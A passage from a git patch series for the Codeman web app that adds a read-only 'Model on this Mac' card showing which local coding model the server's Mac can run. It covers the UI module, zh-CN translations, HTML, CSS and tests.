expect(snapshot(home)).not.toEqual(before); + } finally { + rmSync(probe); + } + }); + + it('is registered on the real server through the routes barrel', () => { + const root = fileURLToPath(new URL('../../', import.meta.url)); + const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8'); + const barrel = readFileSync(join(root, 'src/web/routes/index.ts'), 'utf8'); + expect(barrel).toContain("export { registerLocalModelRoutes } from './local-model-routes.js';"); + // No second argument: the server runs the real probe, catalogue, facts and recommend(). + expect(server).toContain('registerLocalModelRoutes(this.app);'); + }); + + it('the default dependencies are the real modules, read at call time', () => { + expect(Object.keys(defaultLocalModelRouteDeps).sort()).toEqual([ + 'buildHarnessFacts', + 'getCatalog', + 'readHardware', + 'recommend', + ]); + for (const dep of Object.values(defaultLocalModelRouteDeps)) expect(typeof dep).toBe('function'); + }); + }); +}); From 1976431ce6dd585a4b3b73da2437b3a6ac0c5c06 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 16:28:04 +0100 Subject: [PATCH 04/28] feat(local-model): welcome card and App Settings row for the model on this Mac The read-only face of GET /api/local-model: what the Mac the server runs on can run as a local coding model. - local-model-ui.js: one builder paints both containers from the same payload: the hardware line, the server's headline, the pick with its numbers (context, download, memory need against the budget, speed), the server's notes, the other models that fit with their Good, Tight, Slow or Speed unknown labels, and one line saying that setting it up from Codeman is the next step and is not built yet. - The welcome card ships hidden and shows only once the server answered for a Mac. It stays hidden for not-macos, for a refused request (a non-admin in multi-user mode) and after "Hide", a per-device localStorage key. The App Settings group "Model on this Mac" (Models) carries the loading and failure sentences and is the way back after a Hide. - Every dynamic string goes in through textContent, both containers are data-i18n-skip and the module translates its own sentences, repainting on a language change. Sizes are printed as sent. Labels and harness names come from the payload: the module names no CLI and the word "Recommended" is not in it. - One request a minute at most, shared while in flight; a failed refresh keeps the last answer on screen. - i18n.js: zh-CN entries for the module's strings and for every server label. - frontend-cli-no-id-branching.test.ts scans the new module. Tests: test/local-model-ui.test.ts (JSDOM over the real markup), test/local-model-i18n.test.ts. Co-Authored-By: Claude Fable 5.1 --- src/web/public/i18n.js | 50 ++ src/web/public/index.html | 24 + src/web/public/local-model-ui.js | 372 +++++++++- src/web/public/mobile.css | 21 + src/web/public/settings-ui.js | 3 + src/web/public/styles.css | 197 ++++++ src/web/public/terminal-ui.js | 3 + test/frontend-cli-no-id-branching.test.ts | 3 + test/local-model-i18n.test.ts | 172 +++++ test/local-model-ui.test.ts | 797 ++++++++++++++++++++++ 10 files changed, 1633 insertions(+), 9 deletions(-) create mode 100644 test/local-model-i18n.test.ts create mode 100644 test/local-model-ui.test.ts diff --git a/src/web/public/i18n.js b/src/web/public/i18n.js index a3730c91..c9ab61a5 100644 --- a/src/web/public/i18n.js +++ b/src/web/public/i18n.js @@ -1407,6 +1407,56 @@ '该 tmux 会话在此处打开时所在的位置。它是在 Codeman 之外启动的,关闭此标签页后仍会继续运行。', 'Git status is not available for a tmux session opened outside Codeman.': '在 Codeman 之外打开的 tmux 会话无法使用 Git 状态。', + // Model on this Mac (local-model-ui.js: the welcome card and its App Settings group). The first + // block is the module's own text; sizes and names fill the {placeholder} slots. + 'Model on this Mac': '此 Mac 上的模型', + 'What the Mac that Codeman runs on can run as a local coding model. Read-only: nothing is downloaded or installed from here.': + '运行 {name} 的这台 Mac 可以运行哪种本地编程模型。只读:此处不会下载或安装任何内容。', + Hide: '隐藏', + 'Hide this card on this device. It stays in App Settings, under Models.': + '在此设备上隐藏此卡片。它仍保留在“应用设置”的“模型”中。', + 'Checking this Mac…': '正在检查此 Mac…', + '{chip}, {memory} GB memory, {free} GB free': '{chip},内存 {memory} GB,可用磁盘空间 {free} GB', + '{chip}, {memory} GB memory': '{chip},内存 {memory} GB', + '{memory} GB memory, {free} GB free': '内存 {memory} GB,可用磁盘空间 {free} GB', + '{memory} GB memory': '内存 {memory} GB', + '{model} ({id}) with {harness}': '{model}({id}),搭配 {harness}', + 'Context {context} tokens': '上下文 {context} 个 Token', + '{need} GB of memory': '占用内存 {need} GB', + '{download} GB download': '下载 {download} GB', + 'Needs about {need} GB of the {budget} GB this Mac can give a model.': + '大约需要 {need} GB,此 Mac 可分配给模型的内存为 {budget} GB。', + 'Needs about {need} GB of the {budget} GB this Mac can give a model (estimated).': + '大约需要 {need} GB,此 Mac 可分配给模型的内存约为 {budget} GB(估算)。', + 'About {speed} tokens per second (estimated).': '每秒约 {speed} 个 Token(估算)。', + '{harness} is not installed on this Mac yet.': '此 Mac 上尚未安装 {harness}。', + 'With {harness}, the first answer can take minutes.': '使用 {harness} 时,第一次回答可能需要几分钟。', + 'Other models that fit': '其他适合的模型', + 'Setting this up from Codeman is the next step. It is not built yet.': + '下一步是直接在 {name} 中完成安装和设置,该功能尚未实现。', + // The sentences and labels the SERVER picks (LOCAL_MODEL_LABELS in src/types/local-model.ts), keyed + // by their exact English text: changing a text there means changing its key here. + 'Best fit for this Mac': '最适合此 Mac 的选择', + 'Recommended for this Mac': '为此 Mac 推荐', + 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.': + '此 Mac 可以运行小型模型。它能处理小幅修改和问答,但不能替代云端模型。', + 'Not yet tested by us on a Mac like this.': '我们尚未在类似的 Mac 上测试过。', + Good: '良好', + Tight: '紧张', + Slow: '较慢', + 'Speed unknown': '速度未知', + 'Codeman recommends a local model only on a Mac with Apple silicon.': + '{name} 仅在搭载 Apple 芯片的 Mac 上推荐本地模型。', + 'This Mac has an Intel processor. Local coding models need Apple silicon.': + '此 Mac 使用 Intel 处理器。本地编程模型需要 Apple 芯片。', + 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.': + '此 Mac 有 {memory} GB 内存,不足以运行能够驱动编程智能体的模型,因此 {name} 在此不推荐任何模型。', + 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download and {free} GB is free. Free up about {missing} GB.': + '可用磁盘空间不足。适合此 Mac 的最小模型需要下载 {download} GB,而当前可用空间为 {free} GB。请腾出约 {missing} GB。', + 'This Mac runs macOS {version}. Local models need macOS {minimum} or newer.': + '此 Mac 运行的是 macOS {version}。本地模型需要 macOS {minimum} 或更高版本。', + 'No coding agent that Codeman can connect to a local model is available on this Mac.': + '此 Mac 上没有 {name} 可以连接到本地模型的编程智能体。', }); const ZH_CN_LOWER = new Map(Object.entries(ZH_CN).map(([key, value]) => [key.toLocaleLowerCase('en'), value])); diff --git a/src/web/public/index.html b/src/web/public/index.html index d7b82775..78211715 100644 --- a/src/web/public/index.html +++ b/src/web/public/index.html @@ -583,6 +583,14 @@
+ + @@ -2867,6 +2875,22 @@ + + +
+

Model on this Mac

+

What the Mac that Codeman runs on can run as a local coding model. Read-only: nothing is downloaded or installed from here.

+
+
+
+
+
+
diff --git a/src/web/public/local-model-ui.js b/src/web/public/local-model-ui.js index 755527bf..ab4a353b 100644 --- a/src/web/public/local-model-ui.js +++ b/src/web/public/local-model-ui.js @@ -1,8 +1,8 @@ /** * @fileoverview The "model on this Mac" card of the welcome screen and its row in App Settings. * - * SKELETON: this file holds no code yet. It will read `GET /api/local-model` (hardware of the - * machine the server runs on, the recommendation, the catalogue date) and show, read-only: + * Reads `GET /api/local-model` (hardware of the machine the server runs on, the recommendation, + * the catalogue date) and shows, read-only: * - the hardware line (chip, memory, free disk); * - the verdict: the headline and notes the server sent, then the pick with its numbers * (model, harness, context, memory need against the budget, download size, speed); @@ -10,24 +10,378 @@ * - one line saying that setting the model up from Codeman is the next step and is not built * yet. * + * ## One body, two containers + * + * The welcome card (`#localModelCard`) and the App Settings row (`#localModelSettings`) are + * painted from the same payload by the same builder (`localModelBody`), so the two can never + * name a different pick. They differ only in chrome: the card has a title and a Hide button and + * folds the alternatives; the row lists them open. + * + * ## When the card shows + * + * The card ships `hidden` and appears only once the server has answered for a Mac. It stays + * hidden while the first request is in flight and after a failed one (nothing is known about the + * machine then, and an error card would be the only thing this feature ever showed on a server + * that is not a Mac), when the answer is `not-macos`, when the request is refused (a non-admin in + * multi-user mode gets a 403, which is an answer: stop asking) and after the user hid it on this + * device. The Settings row is where the loading and failure sentences show, and it is the way + * back to the numbers after a Hide. + * * Rules: - * - Read-only: no button here downloads, installs or writes anything. - * - Hidden when the server is not on macOS (`recommendation.reason` is `not-macos`), when the - * request is refused (a non-admin in multi-user mode gets a 403) and after the user dismissed - * the card on this device (a localStorage key, never a server setting). + * - Read-only: no control here downloads, installs or writes anything but the per-device + * dismissal (a localStorage key, never a server setting). * - Every dynamic string goes in through `textContent`. Model, harness and chip names are - * someone else's text and carry `data-i18n-skip`. + * someone else's text, so both containers carry `data-i18n-skip` and this file translates + * its own sentences at render time. A language or display-name change therefore re-renders + * (`` is written by every i18n `configure()`). * - Names and labels come from the payload: this file holds no list of models or harnesses and * never compares a CLI id with a literal. * - Sizes are printed exactly as sent (`needGb`, `downloadGb`, `budgetGb`, `memGb`, * `freeDiskGb`: decimal GB as text). Bytes are never divided here. * - A sentence the server chose arrives as `{ text, vars }` and goes through - * `codemanT(text, vars)`; this file's own strings are literals in its translator call, so the - * i18n test can harvest them. Both kinds need a zh-CN entry in i18n.js. + * `localModelT(text, vars)`; this file's own strings are literals in that same call, in + * `{placeholder}` form, so the i18n test can harvest them. Both kinds need a zh-CN entry in + * i18n.js. `{name}` is the translator's own slot (the display name) and is never used here. + * - The word "Recommended" is not in this file. Which headline a Mac gets is the server's call. * * @mixin Extends CodemanApp.prototype via Object.assign * @dependency app.js (CodemanApp) * @dependency api-client.js (_api) + * @dependency constants.js (CodemanBase, optional) * @dependency i18n.js (codemanT, optional) * @loadorder 12.59 of 16, after edit-history-ui.js, before entrance-animations.js */ + +/** Per-device dismissal of the welcome card. */ +const LOCAL_MODEL_DISMISS_KEY = 'codeman:local-model-dismissed'; + +/** The server caches its hardware probe for a minute, so asking again sooner cannot change the answer. */ +const LOCAL_MODEL_MAX_AGE_MS = 60000; + +/** i18n.js's translator with the `{placeholder}` slots filled, or the English source filled the same way. */ +function localModelT(source, vars) { + const values = vars && typeof vars === 'object' ? vars : {}; + if (typeof codemanT === 'function') return codemanT(source, values); + return String(source).replace(/\{([a-zA-Z]\w*)\}/g, (_match, key) => String(values[key] ?? '')); +} + +/** The route, under the reverse-proxy base path when there is one. */ +function localModelUrl(path) { + return typeof CodemanBase !== 'undefined' && CodemanBase ? CodemanBase.url(path) : path; +} + +function localModelEl(tag, className, text) { + const el = document.createElement(tag); + if (className) el.className = className; + if (text !== undefined) el.textContent = text; + return el; +} + +/** A sentence the server chose: `{ text, vars }` from the payload. */ +function localModelMessage(message) { + if (!message || typeof message.text !== 'string') return ''; + return localModelT(message.text, message.vars); +} + +/** A token count as people write it (131,072). */ +function localModelCount(value) { + return Number.isFinite(value) ? Number(value).toLocaleString('en-US') : String(value ?? ''); +} + +/** Tokens per second: whole from 10, one decimal below. Empty when the server sent none. */ +function localModelSpeed(value) { + if (!Number.isFinite(value) || value <= 0) return ''; + return String(value >= 10 ? Math.round(value) : Math.round(value * 10) / 10); +} + +/** Whether the page already knows the route will refuse it (a non-admin in multi-user mode). */ +function localModelNotAdmin() { + const me = (typeof window !== 'undefined' && window.__codemanUser) || {}; + return !!(me.multiUser && me.role !== 'admin'); +} + +/** Chip, memory and free disk in one line. Every part but the memory may be missing. */ +function localModelHardwareLine(hw) { + const chip = String(hw.chip || hw.model || ''); + const sizes = { chip, memory: hw.memGb, free: hw.freeDiskGb }; + if (!hw.memGb) return chip; + if (chip && hw.freeDiskGb) return localModelT('{chip}, {memory} GB memory, {free} GB free', sizes); + if (chip) return localModelT('{chip}, {memory} GB memory', sizes); + if (hw.freeDiskGb) return localModelT('{memory} GB memory, {free} GB free', sizes); + return localModelT('{memory} GB memory', sizes); +} + +/** "Qwen3.8 27B (qwen3.8:27b) with OpenCode", then the fit and speed labels the server chose. */ +function localModelCandidateHead(candidate) { + const head = localModelEl('div', 'local-model-name-row'); + const name = localModelT('{model} ({id}) with {harness}', { + model: candidate.modelLabel || candidate.modelId, + id: candidate.modelId, + harness: candidate.cliLabel || candidate.cli, + }); + head.appendChild(localModelEl('span', 'local-model-name', name)); + for (const label of [candidate.fitLabel, candidate.speedLabel]) { + if (typeof label !== 'string' || !label) continue; + head.appendChild(localModelEl('span', 'local-model-pill', localModelT(label))); + } + return head; +} + +/** The dim line under a candidate's name: context, memory need (alternatives), download, license (the pick). */ +function localModelMeta(candidate, { need = false, license = false } = {}) { + const bits = [localModelT('Context {context} tokens', { context: localModelCount(candidate.context) })]; + if (need && candidate.needGb) bits.push(localModelT('{need} GB of memory', { need: candidate.needGb })); + if (candidate.downloadGb) bits.push(localModelT('{download} GB download', { download: candidate.downloadGb })); + if (license && candidate.license) bits.push(String(candidate.license)); + return bits.join(' · '); +} + +/** The pick with its numbers. */ +function localModelPick(pick, recommendation) { + const box = localModelEl('div', 'local-model-pick'); + box.appendChild(localModelCandidateHead(pick)); + box.appendChild(localModelEl('div', 'local-model-line', localModelMeta(pick, { license: true }))); + const sizes = { need: pick.needGb, budget: recommendation.budgetGb }; + // A wired limit is a setting of this Mac; anything else is the formula's estimate, and says so. + const need = + recommendation.budgetSource === 'wired-limit' + ? localModelT('Needs about {need} GB of the {budget} GB this Mac can give a model.', sizes) + : localModelT('Needs about {need} GB of the {budget} GB this Mac can give a model (estimated).', sizes); + box.appendChild(localModelEl('div', 'local-model-line', need)); + const speed = localModelSpeed(pick.tokensPerSecond); + if (speed) { + const line = localModelT('About {speed} tokens per second (estimated).', { speed }); + box.appendChild(localModelEl('div', 'local-model-line', line)); + } + const harness = pick.cliLabel || pick.cli; + if (pick.cliInstalled === false) { + const line = localModelT('{harness} is not installed on this Mac yet.', { harness }); + box.appendChild(localModelEl('div', 'local-model-line', line)); + } + if (pick.slowFirstTurn === true) { + const line = localModelT('With {harness}, the first answer can take minutes.', { harness }); + box.appendChild(localModelEl('div', 'local-model-line', line)); + } + return box; +} + +/** The other models that fit. Folded behind a native disclosure on the welcome card, open in Settings. */ +function localModelAlternatives(alternatives, fold) { + const wrap = localModelEl(fold ? 'details' : 'div', 'local-model-alts'); + const title = localModelEl(fold ? 'summary' : 'div', 'local-model-alts-title'); + title.appendChild(localModelEl('span', '', localModelT('Other models that fit'))); + title.appendChild(localModelEl('span', 'local-model-count', String(alternatives.length))); + wrap.appendChild(title); + for (const candidate of alternatives) { + const row = localModelEl('div', 'local-model-alt'); + row.appendChild(localModelCandidateHead(candidate)); + row.appendChild(localModelEl('div', 'local-model-line', localModelMeta(candidate, { need: true }))); + wrap.appendChild(row); + } + return wrap; +} + +/** + * Everything the server said, in reading order. The ONLY builder: the card and the Settings row + * both call it, see @fileoverview. + */ +function localModelBody(status, { fold }) { + const hardware = status.hardware || {}; + const recommendation = status.recommendation || {}; + const body = localModelEl('div', 'local-model-body'); + // Not a Mac: one plain sentence, and no line calling another machine's parts "this Mac". + const hardwareLine = recommendation.reason === 'not-macos' ? '' : localModelHardwareLine(hardware); + if (hardwareLine) body.appendChild(localModelEl('div', 'local-model-hw', hardwareLine)); + const headline = localModelMessage(recommendation.headline); + if (headline) body.appendChild(localModelEl('div', 'local-model-headline', headline)); + const pick = recommendation.verdict === 'none' ? null : recommendation.pick; + if (pick) body.appendChild(localModelPick(pick, recommendation)); + for (const note of Array.isArray(recommendation.notes) ? recommendation.notes : []) { + const text = localModelMessage(note); + if (text) body.appendChild(localModelEl('div', 'local-model-note', text)); + } + const alternatives = pick && Array.isArray(recommendation.alternatives) ? recommendation.alternatives : []; + if (alternatives.length) body.appendChild(localModelAlternatives(alternatives, fold)); + if (pick) { + const next = localModelT('Setting this up from Codeman is the next step. It is not built yet.'); + body.appendChild(localModelEl('div', 'local-model-next', next)); + } + return body; +} + +/** The `data` of the GET, or null for anything that is not one. */ +function localModelPayload(body) { + const data = body && body.success === true ? body.data : null; + const recommendation = data && typeof data === 'object' ? data.recommendation : null; + if (!recommendation || typeof recommendation !== 'object' || typeof recommendation.verdict !== 'string') return null; + return data; +} + +Object.assign(CodemanApp.prototype, { + // ═══════════════════════════════════════════════════════════════ + // Data + // ═══════════════════════════════════════════════════════════════ + + /** + * Ask the server what this Mac can run, at most once a minute, and paint both containers. + * Called when the welcome screen shows and when App Settings opens. Idempotent: a request in + * flight is shared, and a fresh answer is only re-rendered. + */ + loadLocalModel() { + this._wireLocalModel(); + if (this._localModelRefused()) { + this.renderLocalModel(); + return Promise.resolve(); + } + if (this._localModelInFlight) return this._localModelInFlight; + const fresh = this._localModelStatus && Date.now() - (this._localModelLoadedAt || 0) < LOCAL_MODEL_MAX_AGE_MS; + if (fresh) { + this.renderLocalModel(); + return Promise.resolve(); + } + // An answer already on screen stays there while it is refreshed. + if (!this._localModelStatus) this._localModelState = 'loading'; + this.renderLocalModel(); + this._localModelInFlight = this._fetchLocalModel().finally(() => { + this._localModelInFlight = null; + }); + return this._localModelInFlight; + }, + + async _fetchLocalModel() { + // `_api`, not `_apiJson`: a 403 (admin-only in multi-user mode) is an answer and must be told + // apart from a request that failed. + const res = await this._api(localModelUrl('/api/local-model')); + if (res?.status === 403) { + this._localModelState = 'refused'; + this._localModelStatus = null; + this.renderLocalModel(); + return; + } + let body = null; + if (res?.ok) { + try { + body = await res.json(); + } catch { + body = null; + } + } + const data = localModelPayload(body); + if (!data) { + // A failed refresh must not blank an answer the user is reading: keep the last good one. + if (!this._localModelStatus) this._localModelState = 'failed'; + this.renderLocalModel(); + return; + } + this._localModelStatus = data; + this._localModelState = 'ready'; + this._localModelLoadedAt = Date.now(); + this.renderLocalModel(); + }, + + // ═══════════════════════════════════════════════════════════════ + // Dismissal (per device) + // ═══════════════════════════════════════════════════════════════ + + isLocalModelCardDismissed() { + if (this._localModelDismissed === true) return true; + try { + return localStorage.getItem(LOCAL_MODEL_DISMISS_KEY) === '1'; + } catch { + return false; + } + }, + + /** Hide the welcome card on this device. The Settings row keeps showing the same answer. */ + dismissLocalModelCard() { + // Remembered on the instance too: with storage blocked the card still stays away until a reload. + this._localModelDismissed = true; + try { + localStorage.setItem(LOCAL_MODEL_DISMISS_KEY, '1'); + } catch { + /* storage blocked: hidden for this page load only */ + } + this.renderLocalModel(); + }, + + // ═══════════════════════════════════════════════════════════════ + // Render + // ═══════════════════════════════════════════════════════════════ + + /** Paint every mounted container (welcome card + App Settings row). */ + renderLocalModel() { + const card = document.getElementById('localModelCard'); + if (card) this._renderLocalModelCard(card); + const row = document.getElementById('localModelSettings'); + if (row) this._renderLocalModelSettings(row); + }, + + _localModelRefused() { + return this._localModelState === 'refused' || localModelNotAdmin(); + }, + + _renderLocalModelCard(card) { + // The one piece of state the card holds itself: whether the alternatives were unfolded. + const wasOpen = card.querySelector('details')?.open === true; + card.textContent = ''; + const status = this._localModelStatus; + const hidden = + !status || + this._localModelRefused() || + status.recommendation.reason === 'not-macos' || + this.isLocalModelCardDismissed(); + card.hidden = hidden; + if (hidden) return; + + const head = localModelEl('div', 'local-model-head'); + const title = localModelEl('h3', 'local-model-title', localModelT('Model on this Mac')); + title.id = 'localModelCardTitle'; + head.appendChild(title); + const hide = localModelEl('button', 'local-model-hide', localModelT('Hide')); + hide.type = 'button'; + hide.title = localModelT('Hide this card on this device. It stays in App Settings, under Models.'); + hide.addEventListener('click', () => this.dismissLocalModelCard()); + head.appendChild(hide); + card.appendChild(head); + + const box = localModelEl('div', 'local-model-box'); + box.appendChild(localModelBody(status, { fold: true })); + card.appendChild(box); + const details = card.querySelector('details'); + if (details && wasOpen) details.open = true; + }, + + _renderLocalModelSettings(row) { + row.textContent = ''; + const refused = this._localModelRefused(); + // The whole group goes for a non-admin, the way the other admin-only groups of this modal do. + const group = document.getElementById('localModelGroup'); + if (group) group.style.display = refused ? 'none' : ''; + if (refused) return; + const status = this._localModelStatus; + if (status) { + row.appendChild(localModelBody(status, { fold: false })); + return; + } + const text = + this._localModelState === 'failed' + ? localModelT('Could not reach the server.') + : localModelT('Checking this Mac…'); + row.appendChild(localModelEl('div', 'local-model-headline', text)); + }, + + /** Listeners that outlive a render, wired once. */ + _wireLocalModel() { + if (this._localModelWired) return; + this._localModelWired = true; + // Both containers are data-i18n-skip (see @fileoverview), so the DOM translator never + // revisits them: a language or display-name change has to repaint them from here. + if (typeof MutationObserver === 'function' && document.documentElement) { + const observer = new MutationObserver(() => this.renderLocalModel()); + observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] }); + } + // The real role can arrive after the first render (admin-ui.js fetches /api/me): a non-admin + // loses the card and the group, and an admin the page had taken for one is asked for at last. + document.addEventListener?.('codeman:me', () => void this.loadLocalModel()); + }, +}); diff --git a/src/web/public/mobile.css b/src/web/public/mobile.css index 16e00c1c..a099bfa9 100644 --- a/src/web/public/mobile.css +++ b/src/web/public/mobile.css @@ -1857,6 +1857,17 @@ html.mobile-init .file-browser-panel { margin-top: 0.75rem; } + /* Model on this Mac (local-model-ui.js). Only reached with the phone overview + switched off. The card has no fixed width and every line in it wraps, so + the narrow column only takes some of the spacing back. */ + .local-model-card { + margin-top: 0.6rem; + } + + .local-model-box { + padding: 0.5rem 0.55rem; + } + /* Ralph wizard responsive */ .modal-wizard { display: flex; @@ -3969,6 +3980,16 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat max-width: none; } + /* Model on this Mac (local-model-ui.js): its row follows the label size above. */ + #localModelSettings .local-model-headline, + #localModelSettings .local-model-name { + font-size: 0.84rem; + } + + #localModelSettings .local-model-alt .local-model-name { + font-size: 0.78rem; + } + /* Fields go full width under their label instead of fighting for the row */ :is(#appSettingsModal, #sessionOptionsModal, #createCaseModal) .set-row.has-field { flex-direction: column; diff --git a/src/web/public/settings-ui.js b/src/web/public/settings-ui.js index 8b6270b2..dc988bb6 100644 --- a/src/web/public/settings-ui.js +++ b/src/web/public/settings-ui.js @@ -550,6 +550,9 @@ Object.assign(CodemanApp.prototype, { // Assigning .checked above does not fire onchange, so the body's visibility // (and its lazy load) needs an explicit sync on every open, not just a save. this.applyCustomModelEndpointsVisibility(); + // Model on this Mac (local-model-ui.js): a read-only row, not a setting. Server state, + // asked for at most once a minute; nothing here is loaded or saved by id. + this.loadLocalModel?.(); // CLI management (docs/cli-enable-disable-plan.md): synced, default OFF. document.getElementById('appSettingsCliManagement').checked = settings.cliManagementEnabled === true; // Same reasoning as applyCustomModelEndpointsVisibility above: assigning diff --git a/src/web/public/styles.css b/src/web/public/styles.css index 35f95160..f34cd700 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -22303,6 +22303,203 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til line-height: 1.35; } +/* ═══════════════════════════════════════════════════════════════ + Model on this Mac (local-model-ui.js): what the server's Mac can run as + a local coding model. One body (`.local-model-body`), drawn in two places: + the welcome card and a row of App Settings > Models. + + Same vocabulary as the two blocks above it on the welcome screen: a dim + heading row, then one bordered surface with a name over dim meta lines. + Theme tokens only (`--control-bg`, never a white alpha: that fill is + invisible on the light skins), and the fit and speed labels are neutral + pills: the words carry the meaning, so no skin needs a colour of its own. + Nothing here is keyed on a CLI or a model id, and nothing animates. + ═══════════════════════════════════════════════════════════════ */ + +.local-model-card { + display: flex; + flex-direction: column; + gap: 0.4rem; + width: 100%; + margin-top: 0.75rem; + text-align: left; +} + +/* A flex container, so `[hidden]` needs re-asserting or the module's only + visibility lever does nothing (same trap as .foreign-sessions). */ +.local-model-card[hidden] { + display: none; +} + +.local-model-head { + display: flex; + align-items: center; + gap: 0.5rem; +} + +.local-model-title { + margin: 0; + font-size: 0.85rem; + color: var(--text-dim); + font-weight: 500; +} + +.local-model-hide { + margin-left: auto; + font: inherit; + font-size: 0.68rem; + color: var(--text-dim); + background: transparent; + border: 1px solid var(--border); + border-radius: 999px; + padding: 0.12rem 0.5rem; + cursor: pointer; +} + +.local-model-hide:hover { + color: var(--text); + background: var(--control-bg-hover); +} + +.local-model-box { + padding: 0.55rem 0.65rem; + border: 1px solid var(--border); + border-radius: 8px; + background: var(--control-bg); + min-width: 0; +} + +.local-model-body { + display: flex; + flex-direction: column; + gap: 0.3rem; + min-width: 0; +} + +.local-model-hw, +.local-model-line, +.local-model-note { + font-size: 0.68rem; + line-height: 1.45; + color: var(--text-dim); + overflow-wrap: anywhere; +} + +.local-model-headline { + font-size: 0.82rem; + line-height: 1.45; + color: var(--text); + overflow-wrap: anywhere; +} + +/* The pick is the one thing in the card set apart: a rule in the accent, on the + reading side (logical, so it follows a right-to-left page). */ +.local-model-pick { + display: flex; + flex-direction: column; + gap: 0.12rem; + padding-inline-start: 0.55rem; + border-inline-start: 2px solid var(--accent); +} + +.local-model-name-row { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 0.2rem 0.4rem; + min-width: 0; +} + +.local-model-name { + font-size: 0.82rem; + font-weight: 600; + color: var(--text); + overflow-wrap: anywhere; + min-width: 0; +} + +.local-model-pill, +.local-model-count { + flex: 0 0 auto; + font-size: 0.62rem; + line-height: 1.5; + color: var(--text-dim); + border: 1px solid var(--border); + border-radius: 999px; + padding: 0 0.42rem; + white-space: nowrap; +} + +.local-model-count { + margin-inline-start: 0.4rem; + border-color: transparent; + background: var(--control-bg-hover); +} + +.local-model-alts-title { + font-size: 0.72rem; + color: var(--text-dim); +} + +/* The welcome card folds the list behind a native disclosure (keyboard and + screen-reader behaviour for free); the summary keeps `display: list-item` + so its marker stays. */ +.local-model-alts > summary { + cursor: pointer; +} + +.local-model-alts > summary:hover { + color: var(--text); +} + +.local-model-alt { + display: flex; + flex-direction: column; + gap: 0.1rem; + margin-top: 0.3rem; + padding-top: 0.3rem; + border-top: 1px solid var(--border); +} + +.local-model-alt .local-model-name { + font-size: 0.76rem; + font-weight: 500; +} + +.local-model-next { + font-size: 0.66rem; + line-height: 1.45; + color: var(--text-muted); +} + +/* In App Settings the body sits inside an ordinary .set-row, so it takes that + surface's type scale (label 0.76rem over a muted description) and the row + supplies the border. */ +#localModelSettings { + padding: 3px 0; +} + +#localModelSettings .local-model-headline, +#localModelSettings .local-model-name { + font-size: 0.76rem; +} + +#localModelSettings .local-model-alt .local-model-name { + font-size: 0.72rem; +} + +/* Touch: the two things in the card that take a press get a finger's height. */ +@media (pointer: coarse) { + .local-model-hide { + min-height: 32px; + padding: 0.3rem 0.8rem; + } + + .local-model-alts > summary { + padding: 0.4rem 0; + } +} + /* XLSX preview in the file-preview overlay (spreadsheet-preview.js). Read-only; cells are absolutely positioned inside a virtualized grid, so only the visible tile is in the DOM. */ .spreadsheet-preview-shell { diff --git a/src/web/public/terminal-ui.js b/src/web/public/terminal-ui.js index 75419a9f..949cbbc8 100644 --- a/src/web/public/terminal-ui.js +++ b/src/web/public/terminal-ui.js @@ -2964,6 +2964,9 @@ Object.assign(CodemanApp.prototype, { // up (stopped in hideWelcome), see foreign-sessions.js. this.wireForeignSessions?.(); this.startForeignPolling?.(); + // What this Mac can run as a local model (local-model-ui.js). One request, + // at most once a minute, no timer: nothing to stop in hideWelcome. + this.loadLocalModel?.(); } // Home screen has no input target — hide the CJK textarea (activeSessionId // is null by the time we get here). Guarded: defined on the app object. diff --git a/test/frontend-cli-no-id-branching.test.ts b/test/frontend-cli-no-id-branching.test.ts index 41a1221c..9eee6e28 100644 --- a/test/frontend-cli-no-id-branching.test.ts +++ b/test/frontend-cli-no-id-branching.test.ts @@ -38,6 +38,9 @@ const SCANNED_FILES = [ 'panels-ui.js', // A row's mode comes from the same catalog, never from a list of ids here. 'foreign-sessions.js', + // The harness a local model is paired with arrives as a label in the payload + // (`Candidate.cliLabel`); the card names no CLI and compares no id. + 'local-model-ui.js', ]; /** diff --git a/test/local-model-i18n.test.ts b/test/local-model-i18n.test.ts new file mode 100644 index 00000000..cbcb514f --- /dev/null +++ b/test/local-model-i18n.test.ts @@ -0,0 +1,172 @@ +/** + * @fileoverview The "Model on this Mac" card and its App Settings group in Chinese (zh-CN). + * + * Three sources of text, all checked against the real dictionary in i18n.js: + * - the module's own strings, HARVESTED from the real local-model-ui.js (every literal it + * passes to `localModelT`), so a new string without an entry fails here instead of showing + * up English on one surface; + * - every sentence and label the SERVER may send (`LOCAL_MODEL_LABELS`, imported from the + * contract, so a label added there fails here until it has an entry); + * - the static heading and hint of the Settings group, read from the real index.html and run + * through the real DOM translator. + * + * Both containers carry data-i18n-skip (model, harness and chip names are someone else's + * text), so nothing in them is reached by the DOM translator: these strings translate only + * through the module's own call, which is why they are checked through `t()` here. + * + * Beyond "it is Chinese now", each entry must keep its `{placeholder}` slots: a translation + * that drops one prints a sentence without its number. + * + * Port: N/A. + */ +import { readFileSync } from 'node:fs'; +import { resolve } from 'node:path'; +import vm from 'node:vm'; +import { JSDOM } from 'jsdom'; +import { afterAll, describe, expect, it } from 'vitest'; +import { LOCAL_MODEL_LABELS, LOCAL_MODEL_NONE_LABELS } from '../src/types.js'; + +const PUBLIC = resolve(import.meta.dirname, '../src/web/public'); +const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8'); +const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8'); +const MODULE = readFileSync(resolve(PUBLIC, 'local-model-ui.js'), 'utf8'); + +type Api = { + configure(o: Record): void; + start(): void; + t(source: string, vars?: Record): string; +}; + +/** Every literal the module hands to its translator call (Prettier may break after the paren). */ +const FROM_MODULE = [...new Set([...MODULE.matchAll(/localModelT\(\s*'([^']+)'/g)].map((m) => m[1]))]; +/** Every text the server may send. */ +const FROM_SERVER: string[] = Object.values(LOCAL_MODEL_LABELS); +/** Already in the dictionary for the outside-sessions block; reused here for a failed request. */ +const SHARED = ['Could not reach the server.']; +const OWN = FROM_MODULE.filter((source) => !SHARED.includes(source)); + +/** A page with only the translator in it: enough for `t()`, and cheap to re-configure. 